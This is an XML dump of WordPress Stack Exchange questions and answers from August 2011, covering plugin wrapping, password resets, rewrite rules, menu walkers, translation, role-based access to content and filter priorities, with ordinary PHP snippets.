  <row Id="26715" PostTypeId="2" ParentId="26703" CreationDate="2011-08-23T19:59:10.403" Score="1" ViewCount="" Body="&lt;p&gt;I would make a plugin out of the code that you are using to pull the XML. I've done this before for a client that was using a calendaring system that was a set of PHP files. I wrapped the calls to the calendar files in a plugin, and just called what I needed to from there. This preserved the look and feel of the site without extra work there, and used WordPress's native capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fairly easy to take an existing set of code and wrap it as a plugin, and then you can use the methods of that plugin in your theme files. You could for example make a page to house the data, make a page-specific theme file that outputs (or not) the content of that page, and also use the theme file to run the methods for pulling in the XML data via your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Resources for writing (or wrapping code into) a plugin:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Writing_a_Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/ColinLoretz/creating-your-first-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.slideshare.net/ColinLoretz/creating-your-first-wordpress-plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpcandy.com/teaches/how-to-create-a-functionality-plugin&quot; rel=&quot;nofollow&quot;&gt;http://wpcandy.com/teaches/how-to-create-a-functionality-plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.tv/2010/04/24/john-hawkins-plugin-development-oc10/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.tv/2010/04/24/john-hawkins-plugin-development-oc10/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-23T19:59:10.403" CommentCount="1" />
  <row Id="26716" PostTypeId="2" ParentId="26702" CreationDate="2011-08-23T20:06:05.337" Score="3" ViewCount="" Body="&lt;p&gt;Occasionally I've seen issues doing a manual reset of the password if salts have changed, or if there was an issue with the account before the reset. Some things to try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are you sure you reset the password for the main admin account, usually ID #1? Trivial, I know, but has happened to me in the past.&lt;/li&gt;&#xA;&lt;li&gt;Try using the &lt;a href=&quot;http://codex.wordpress.org/Resetting_Your_Password#Using_the_Emergency_Password_Reset_Script&quot; rel=&quot;nofollow&quot;&gt;Emergency Password Reset Script&lt;/a&gt;, as it works a little better than a manual reset.&lt;/li&gt;&#xA;&lt;li&gt;Try changing the salts in wp-config.php and reset the password again, see if it clears out some cookie issues you may be having. Most likely your problem can be traced to cookie issues if it is accepting the password but not letting you in. Clear all your cookies out as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-23T20:06:05.337" />
  <row Id="26717" PostTypeId="2" ParentId="26713" CreationDate="2011-08-23T20:09:16.750" Score="1" ViewCount="" Body="&lt;p&gt;I do this on every WP site I set up, and while it's no panacea for SQL issues moving forward as it's more obscurity than security, it does make me feel all warm and fuzzy inside. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never had issues with it since I started the practice two years ago. A key to the process is pointed out in both articles you've linked to, changing the &lt;code&gt;$table_prefix&lt;/code&gt; value in wp-config.php. If you do this, and if the plugins you are using are properly written, then they will honor that and you should not see any issues. I would feel confident about this change you've made.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-23T20:09:16.750" CommentCount="1" />
  <row Id="26718" PostTypeId="2" ParentId="26710" CreationDate="2011-08-23T20:38:43.493" Score="1" ViewCount="" Body="&lt;p&gt;I don't see why the same method can't still work in a WordPress site. If you specifically specify a file to link to that is a valid PHP file, available on your server, then it will still hit that file &lt;em&gt;instead&lt;/em&gt; of hitting WordPress. If you are having issues with this working, make sure you don't have any rewrite rules interfering in your .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-23T20:38:43.493" />
  <row Id="26719" PostTypeId="1" AcceptedAnswerId="26726" CreationDate="2011-08-23T20:44:54.250" Score="0" ViewCount="75" Body="&lt;p&gt;I checked this post here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6891/making-a-plugin-file-accessible-via-url-rewrite&quot;&gt;Making a plugin file accessible via url rewrite?&lt;/a&gt; which seems to have the same problem as me but its for a plugin. But so far i am getting 404.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'my_rewrite' );&#xA;function my_rewrite() {&#xA;    global $wp_rewrite;&#xA;&#xA;    add_rewrite_rule('/$', '/wp-content/themes/econ/adserver/adserver.js.php', 'top');&#xA;    $wp_rewrite-&amp;gt;flush_rules(true);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this file path &lt;code&gt;/wp-content/themes/econ/adserver/adserver.js.php&lt;/code&gt; and need to show it as &lt;code&gt;http://mysite.com/adserver.js.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that &lt;strong&gt;Bainternet&lt;/strong&gt; gave is working good except the rewrite rule part. I can now access the file using &lt;code&gt;index.php?myjs=true&lt;/code&gt;. Here is the code in my htaccess file you might wanna take a look.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-08-24T12:34:07.463" LastActivityDate="2011-08-24T12:34:07.463" Title="Need to make a php file inside theme accessible via url" Tags="&lt;url-rewriting&gt;&lt;rewrite-rules&gt;&lt;mod-rewrite&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="26720" PostTypeId="2" ParentId="26719" CreationDate="2011-08-23T21:01:41.417" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'my_rewrite' );&#xA;function my_rewrite() {&#xA;    global $wp_rewrite;&#xA;&#xA;    add_rewrite_rule('^adserver.js.php$', '/wp-content/themes/econ/adserver/adserver.js.php', 'top');&#xA;    $wp_rewrite-&amp;gt;flush_rules(true);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you should probably remove $wp_rewrite-&gt;flush_rules(true); once you have it working, since that's a big performance hit on every page view.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-23T21:01:41.417" CommentCount="2" />
  <row Id="26721" PostTypeId="1" CreationDate="2011-08-23T21:36:05.493" Score="1" ViewCount="37" Body="&lt;p&gt;Firstly i have been install wp with different languange with indonesian languange as default, i have plan, want to translate with other languange, &#xA;How to simple translate switch, but keep Indonesian as default.&#xA;with .po file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help ...&lt;/p&gt;&#xA;" OwnerUserId="4498" LastActivityDate="2011-08-25T21:35:00.997" Title="Simple Multilanguage Switcher" Tags="&lt;multi-language&gt;" AnswerCount="1" />
  <row Id="26722" PostTypeId="2" ParentId="14171" CreationDate="2011-08-23T21:42:01.660" Score="1" ViewCount="" Body="&lt;p&gt;The trouble with overriding start_el and end_el is that doing so only controls the display of the menu item in question - it doesn't affect the display of the children. I think you need to override display_element to hide the children as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it's possible to use the description field of the menu item to hold information for each menu item about whether to display it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code looks in the description of each menu item for a comma delimited list of capabilities such as [capability: this_one, next_one] and if the current user has none of the capabilities won't display the item (or any of its children). It's fairly easy to remove the strings from the description if you actually want to use the description for its intended purpose.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * hide or display menus based on user capabilities&#xA; *&#xA; * Use the description field of the custom menu item. If it contains a string like [capability: xx, xx] &#xA; * display the menu item only if the user has at least one of the capabilities.&#xA; * If a menu item is not displayed, nor are any of its sub items.&#xA; */&#xA;/* Custom Walker */&#xA;class NASS_Nav_Walker extends Walker_Nav_Menu {&#xA;&#xA;        // override parent method&#xA;        function display_element( $element, &amp;amp;$children_elements, $max_depth, $depth=0, $args, &amp;amp;$output ) {&#xA;            // we know the $element is a menu item  &#xA;            // we want to check its description field to see if it's OK to display it&#xA;            // in which case we just retreat to the parent method&#xA;            $desc = $element-&amp;gt;description;&#xA;            if ( should_display_menu_item($desc) ) {&#xA;                parent::display_element( $element, &amp;amp;$children_elements, $max_depth, $depth=0, $args, &amp;amp;$output );&#xA;            } else {&#xA;                return;&#xA;            }&#xA;        }    &#xA;}&#xA;/* should we display the menu item, if this is its description? */&#xA;function should_display_menu_item( $desc ) {&#xA;    // first see if the description contains a capability specification of the form&#xA;    // [capability: comma, delimited, list]&#xA;    // we assume all capability names consist only of lower case with underbars&#xA;    $prefix = &quot;\[capability:&quot;;&#xA;    $postfix = &quot;\]&quot;;&#xA;    $pattern = '@' . $prefix . '([a-z_, ]+)' . $postfix . '@';&#xA;    $answer = true;&#xA;    if ( preg_match($pattern, $desc, $matches) ) { // if we've got a match&#xA;        $found = $matches[1];   // the parenthesized bit of the regex&#xA;        $caps = array_map('trim', explode(&quot;,&quot;, $found));&#xA;        if ( count ($caps) &amp;gt; 0 ) { // there is at least one&#xA;            $answer = false;&#xA;            // now see if the user has any of them&#xA;            foreach ($caps as $cap) {&#xA;                if ( current_user_can ($cap) ) $answer = true;&#xA;            }&#xA;        }&#xA;    }&#xA;    return $answer;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7381" LastActivityDate="2011-08-23T21:42:01.660" CommentCount="2" />
  <row Id="26723" PostTypeId="2" ParentId="26719" CreationDate="2011-08-23T21:47:58.127" Score="3" ViewCount="" Body="&lt;p&gt;WP rewrite rules are not real rewrites nor will they allow redirects like that. So you can't use them that way. Fortunately, WP should have you covered there even if you try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, an internal WordPress rewrite rule must change a URL pattern into an index.php?key=value pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you use add_rewrite_rule to insert a rule that doesn't point to the index.php file, then this should get detected and a &quot;hard&quot; rule will be created in the .htaccess file for it. Thus, check the .htaccess file after doing the hard flush and see if your new rule exists there as a normal RewriteRule. If not, then maybe the .htaccess isn't writable.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-23T21:47:58.127" />
  <row Id="26724" PostTypeId="2" ParentId="26484" CreationDate="2011-08-23T22:08:17.813" Score="1" ViewCount="" Body="&lt;p&gt;You can use the code on the site you linked to with post thumbnails, if you change one line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'thumb', true) ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-23T22:08:17.813" CommentCount="1" />
  <row Id="26725" PostTypeId="2" ParentId="26701" CreationDate="2011-08-23T22:29:10.060" Score="1" ViewCount="" Body="&lt;p&gt;I always assumed the distinction was that - beyond the basic template tags, which generally just have the simplest descriptive name possible: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;functions that begin with &lt;code&gt;wp_&lt;/code&gt; are generally high-level public API functions, which are pretty much guaranteed to always be around and retain forwards-compatability. &lt;/li&gt;&#xA;&lt;li&gt;functions without that prefix are internals, stuff you shouldn't muck around with unless you know what you're doing. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't know if this was ever intentional, though. And like the other two answers have said, it doesn't hold up consistently. Your example of &lt;code&gt;update_post_meta&lt;/code&gt; is a perfect example of something that seems like it should should have a &lt;code&gt;wp_&lt;/code&gt; prefix if my classification held true. But there's enough deep legacy code in WordPress to throw off any attempt at making sense of any naming convention.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-23T22:29:10.060" CommentCount="2" />
  <row Id="26726" PostTypeId="2" ParentId="26719" CreationDate="2011-08-23T22:46:13.647" Score="1" ViewCount="" Body="&lt;p&gt;Ok here is a test working solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: wpse26719&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: Need to make a php file inside theme accessible via url&#xA;Version: 1.0&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;// Register a URL that will set this variable to true&#xA;add_action('generate_rewrite_rules', 'wpse26719_rw');&#xA;function wpse26719_rw($wp_rewrite) {&#xA;   $newrules = array();&#xA;   $new_rules['^adserver.js.php$'] = 'index.php?myjs=true';&#xA;   $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;&#xA;&#xA;// Add myjs as a query var&#xA;add_action( 'query_vars', 'wpse26719_query_vars' );&#xA;function wpse26719_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'myjs';&#xA;    return $query_vars;&#xA;}&#xA;&#xA;// If this is done, we can access it later&#xA;// This example checks very early in the process:&#xA;// if the variable is set, we include our page and stop execution after it&#xA;add_action( 'parse_request', 'wpse26719_parse_request' );&#xA;function wpse26719_parse_request( &amp;amp;$wp )&#xA;{&#xA;    if ( array_key_exists( 'myjs', $wp-&amp;gt;query_vars ) ) {&#xA;        include( dirname( __FILE__ ) . '/adserver.js.php' );&#xA;        exit();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-23T22:46:13.647" CommentCount="8" />
  <row Id="26727" PostTypeId="2" ParentId="26721" CreationDate="2011-08-23T23:09:55.357" Score="1" ViewCount="" Body="&lt;p&gt;Assuming you're talking about the front-end and you have your strings properly internationalized, you just need to insert the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/load_theme_textdomain&quot; rel=&quot;nofollow&quot;&gt;load_theme_textdomain()&lt;/a&gt; function to tell wordpress where are your .po files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how the Toolbox Theme does it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Make theme available for translation&#xA; * Translations can be filed in the /languages/ directory&#xA; * If you're building a theme based on martins, use a find and replace&#xA; * to change 'martins' to the name of your theme in all the template files&#xA; */&#xA;load_theme_textdomain( 'martins', TEMPLATEPATH . '/languages' );&#xA;&#xA;$locale = get_locale();&#xA;$locale_file = TEMPLATEPATH . &quot;/languages/$locale.php&quot;;&#xA;if ( is_readable( $locale_file ) )&#xA;    require_once( $locale_file );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i once played with changing users locale to do that automatically, getting the users language from the $_SERVER superglobal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i came up with this, but it's not working yet. Maybe you can work from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WARNING: THIS IS UNTESTED AND MIGHT BEHAVE WEIRDLY OR EVEN BREAK YOUR SITE, BE CAREFUL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rm_get_locale($lang) {&#xA;    global $locale;&#xA;    // This gets the users' primary browser settings for acceptable languages&#xA;    // and transforms the string so it looks like en_US or pt_BR rather than&#xA;    // en-us and pt-br. It takes only the first value returned, no all of them.&#xA;    $langcode = explode(&quot;;&quot;, $_SERVER['HTTP_ACCEPT_LANGUAGE']);&#xA;    $langcode = explode(&quot;,&quot;, $langcode['0']);&#xA;    $langcode = $langcode['0'];&#xA;    $langcode = preg_split('/-/', $langcode);&#xA;    $upper = strtoupper($langcode[1]);&#xA;    $lower = $langcode[0];&#xA;&#xA;    // now we get the native wp locale and the parsed user locale&#xA;    $wplocale = get_locale();&#xA;    $userlocale = implode('_',array($lower,$upper));&#xA;&#xA;    // compare them and apply the user's locale if they don't match.&#xA;    if ($userlocale != $wplocale) {&#xA;        return $userlocale;&#xA;    } else {&#xA;        return $lang;&#xA;    }&#xA;&#xA;&#xA;}&#xA;add_filter('locale','rm_get_locale');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7890" LastEditorUserId="7890" LastEditorDisplayName="" LastEditDate="2011-08-25T21:35:00.997" LastActivityDate="2011-08-25T21:35:00.997" CommentCount="1" />
  <row Id="26728" PostTypeId="1" AcceptedAnswerId="26732" CreationDate="2011-08-23T23:38:30.067" Score="1" ViewCount="28" Body="&lt;p&gt;I'm developing a functionality to let only customers and doctors have access to exam results. But i'm not so sure about the strenght of my code in securing view only to those authorised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gotten so far as to create the 'exam' post type to handle the information and added the metabox to save doctor and patient info in every exam (doctor and patient are also custom roles for users, with capabilities similar to subscribers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then i've created this function to check if the user trying to view content is entitled to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Checks if user is logged in and has access to that specific exam&#xA; */&#xA;function rm_userauth_check() {&#xA;    global $current_user;&#xA;      get_currentuserinfo();&#xA;      $doctor = get_post_custom_values('doctor');&#xA;      $patient = get_post_custom_values('patient');&#xA;      $loggeduser = $current_user-&amp;gt;user_login;&#xA;      $nicename = $current_user-&amp;gt;display_name;&#xA;      $mainrole = $current_user-&amp;gt;roles;&#xA;&#xA;  if ($current_user-&amp;gt;data !== null) {&#xA;&#xA;      if ($mainrole[0] == 'doctor' &amp;amp;&amp;amp; $loggeduser == $doctor[0]) {&#xA;          return true; // this user is a doctor and is assigned to this exam&#xA;      } elseif ($mainrole[0] == 'patient' &amp;amp;&amp;amp; $loggeduser == $patient[0]) {&#xA;          return true; // this user is a patient and is assigned to this exam&#xA;      } else {&#xA;          return false; // this user is not assigned to this exam&#xA;      }&#xA;  } else {&#xA;      return false; // user is not logged in&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now i'm calling it on my single-exam.php file as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php if (function_exists('rm_userauth_check')) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if (rm_userauth_check()) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php get_template_part( 'content', 'single' ); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;           &amp;lt;?php else : ?&amp;gt;&#xA;                       &amp;lt;?php wp_redirect( home_url() ); exit; ?&amp;gt;&#xA;           &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does it look to you? Am i going the right way here or should i try another method?&lt;/p&gt;&#xA;" OwnerUserId="7890" LastActivityDate="2011-08-24T00:35:42.700" Title="Restricting access to content" Tags="&lt;security&gt;&lt;user-roles&gt;&lt;user-access&gt;&lt;authentication&gt;" AnswerCount="1" />
  <row Id="26729" PostTypeId="1" CreationDate="2011-08-23T23:55:39.150" Score="-1" ViewCount="31" Body="&lt;p&gt;I have a code that call &lt;code&gt;get_the_title()&lt;/code&gt; and it works, but &lt;code&gt;get_the_excerpt()&lt;/code&gt; return empty. How can i make it work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is inside a plugin called &quot;WP Facebook Open Graph protocol&quot;. Here's the part i want to change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_singular('post')) {&#xA;  if (has_excerpt($post-&amp;gt;ID)) {&#xA;    echo &quot;\t&amp;lt;meta property='og:description' content='&quot;.esc_attr(strip_tags(get_the_excerpt($post-&amp;gt;ID))).&quot;' /&amp;gt;\n&quot;;&#xA;  }else{&#xA;    echo &quot;\t&amp;lt;meta property='og:description' content='&quot;. [?] .&quot;' /&amp;gt;\n&quot;;&#xA;  }&#xA;}else{&#xA;  echo &quot;\t&amp;lt;meta property='og:description' content='&quot;.get_bloginfo('description').&quot;' /&amp;gt;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, &lt;code&gt;has_excerpt&lt;/code&gt; always fail, and &lt;code&gt;get_the_excerpt($post-&amp;gt;ID)&lt;/code&gt; don't work anymore (deprecated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can i display the excerpt there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: I'm using &quot;Advanced Excerpt&quot; plugin as well&lt;/p&gt;&#xA;" OwnerUserId="8137" LastEditorUserId="8137" LastEditorDisplayName="" LastEditDate="2011-08-24T00:20:30.343" LastActivityDate="2011-08-24T00:20:30.343" Title="Get excerpt using get_the_excerpt outside a loop" Tags="&lt;excerpt&gt;&lt;the-loop&gt;&lt;the-excerpt&gt;" CommentCount="1" />
  <row Id="26730" PostTypeId="2" ParentId="26563" CreationDate="2011-08-24T00:02:10.530" Score="0" ViewCount="" Body="&lt;p&gt;Try this in your wpsc-single_product.php template.  It will give you a list with title and link.  I didn't test this with product variations, I am not using them in the site I am working with and I wasn't sure from your question if you needed it to.  Hopefully this at least gives you a starting place.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// get the product categories&#xA;$product_categories = wp_get_object_terms( wpsc_the_product_id(), 'wpsc_product_category', array('fields' =&amp;gt; 'ids') );&#xA;// arguments&#xA;$args = array(&#xA;'post_type' =&amp;gt; 'wpsc-product',&#xA;'post_status' =&amp;gt; 'publish',&#xA;'posts_per_page' =&amp;gt; 3,&#xA;'orderby' =&amp;gt; 'rand',&#xA;'tax_query' =&amp;gt; array(&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'wpsc_product_category',&#xA;        'field' =&amp;gt; 'id',&#xA;        'terms' =&amp;gt; $product_categories&#xA;    )&#xA;)&#xA;);&#xA;$related_products = new WP_Query( $args );&#xA;// loop over query&#xA;if ($related_products-&amp;gt;have_posts()) :&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;while ( $related_products-&amp;gt;have_posts() ) : $related_products-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;endwhile;&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;endif;&#xA;// Reset Post Data&#xA;wp_reset_postdata();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8138" LastActivityDate="2011-08-24T00:02:10.530" />
  <row Id="26732" PostTypeId="2" ParentId="26728" CreationDate="2011-08-24T00:35:42.700" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way is to use &lt;code&gt;if ( current_user_can( 'capability' ) ) // do stuff&lt;/code&gt;. You'll find more about capabilities in the codex. You can also inspect the data some user has attached with normal &lt;code&gt;var_dump()&lt;/code&gt;  and else. I also got a pretty old &lt;a href=&quot;https://gist.github.com/1104763&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; for that. But I'm not sure if it still works with the current WP version. If it does, you'll be presented with close to all user data and some hints &amp;amp; snippets on a new admin page.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-24T00:35:42.700" CommentCount="1" />
  <row Id="26733" PostTypeId="1" AcceptedAnswerId="26737" CreationDate="2011-08-24T00:43:06.297" Score="0" ViewCount="24" Body="&lt;p&gt;Using WordPress version 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that when I use this filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('the_content', 'myFunction', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The content editor places the content written from &quot;myFunction&quot; &lt;strong&gt;within&lt;/strong&gt; the last paragraph tag of the content. How can I force the WP to append the code &lt;strong&gt;after&lt;/strong&gt; the last tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if my content is...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is a paragraph&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &quot;myFunction&quot; routine appends &quot;And this is some extra text&quot; to the_content, the end result in the browser becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is a paragraphAnd this is some extra text&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although I want it to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is a paragraph&amp;lt;/p&amp;gt;And this is some extra text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-08-24T01:02:56.857" LastActivityDate="2011-08-24T02:00:24.360" Title="WordPress appends the_content filtered text inside last paragraph tag of content (rather than after it)" Tags="&lt;the-content&gt;" AnswerCount="1" />
  <row Id="26734" PostTypeId="2" ParentId="26702" CreationDate="2011-08-24T01:10:52.843" Score="1" ViewCount="" Body="&lt;p&gt;Also, review this useful codex: &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-24T01:10:52.843" />
  <row Id="26735" PostTypeId="1" CreationDate="2011-08-24T01:38:56.470" Score="0" ViewCount="30" Body="&lt;p&gt;I have several custom fields that I need my client to be able to edit at anytime. For the sake of convenience, I'd like them to be able to edit these custom fields from the Quick Edit. This way they don't have to open a bunch of new pages to go into each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add editable custom fields to Quick Edit? Or am I out of luck?&lt;/p&gt;&#xA;" OwnerUserId="7298" LastActivityDate="2011-08-24T02:29:08.733" Title="Show Custom Fields in Quick Edit" Tags="&lt;custom-field&gt;&lt;quick-edit&gt;" AnswerCount="1" />
  <row Id="26736" PostTypeId="2" ParentId="26674" CreationDate="2011-08-24T01:41:17.887" Score="0" ViewCount="" Body="&lt;p&gt;That's my site. :) I use the Digg Digg plugin for wordpress.&lt;/p&gt;&#xA;" OwnerUserId="8139" LastActivityDate="2011-08-24T01:41:17.887" CommentCount="1" />
  <row Id="26737" PostTypeId="2" ParentId="26733" CreationDate="2011-08-24T02:00:24.360" Score="1" ViewCount="" Body="&lt;p&gt;Your filter is being applied before &lt;code&gt;wpautop&lt;/code&gt;, the filter which wraps all of the paragraphs in WordPress content with &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A value of zero for priority means that your filter will be applied &lt;strong&gt;first&lt;/strong&gt;, before all other formatting filters. Try applying your filter later - with a priority higher than 10, the default, which is where &lt;code&gt;wpautop&lt;/code&gt; is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, add your function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'myFunction', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-24T02:00:24.360" CommentCount="1" />
